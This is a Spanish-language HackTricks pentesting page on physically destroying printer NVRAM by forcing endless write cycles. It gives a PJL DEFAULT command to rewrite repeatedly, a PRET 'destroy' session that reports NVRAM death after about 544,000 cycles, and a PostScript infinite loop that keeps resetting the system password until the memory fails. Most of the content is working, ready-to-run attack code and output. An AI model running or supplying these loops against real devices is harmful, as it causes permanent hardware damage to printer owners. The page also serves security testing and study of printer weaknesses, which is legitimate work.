hacktricks/network-services-pentesting/pentesting-printers/physical-damage.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

5.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

La configuración a largo plazo de las impresoras y otros dispositivos integrados se almacena en la memoria no volátil (NVRAM), que se implementa tradicionalmente como EEPROM o como memoria flash. Ambos componentes tienen una vida útil limitada. Hoy en día, los proveedores de memoria flash garantizan alrededor de 100,000 reescrituras antes de que puedan ocurrir errores de escritura.

PJL

Para una prueba práctica de destrucción de la funcionalidad de escritura de NVRAM, se puede establecer continuamente el valor a largo plazo para el número de copias con diferentes valores para X:

@PJL DEFAULT COPIES=X

Normalmente, antes de dejar de permitir la escritura, todos los parámetros NVRAM se fijan en el valor predeterminado de fábrica y todas las variables aún pueden ser cambiadas para el trabajo de impresión actual utilizando el comando @PJL SET....

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11

PostScript

En el caso de PostScript, es necesario encontrar una entrada en el diccionario currentsystemparams que sobreviva a un reinicio (y por lo tanto debe estar almacenada en algún tipo de NVRAM). Un buen candidato sería una contraseña de PostScript.
PostScript puede ejecutar un script que corrompe su propia NVRAM:

/counter 0 def
{ << /Password counter 16 string cvs
     /SystemParamsPassword counter 1 add 16 string cvs
  >> setsystemparams /counter counter 1 add def
} loop

Más información sobre estas técnicas se puede encontrar en http://hacking-printers.net/wiki/index.php/Physical_damage

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥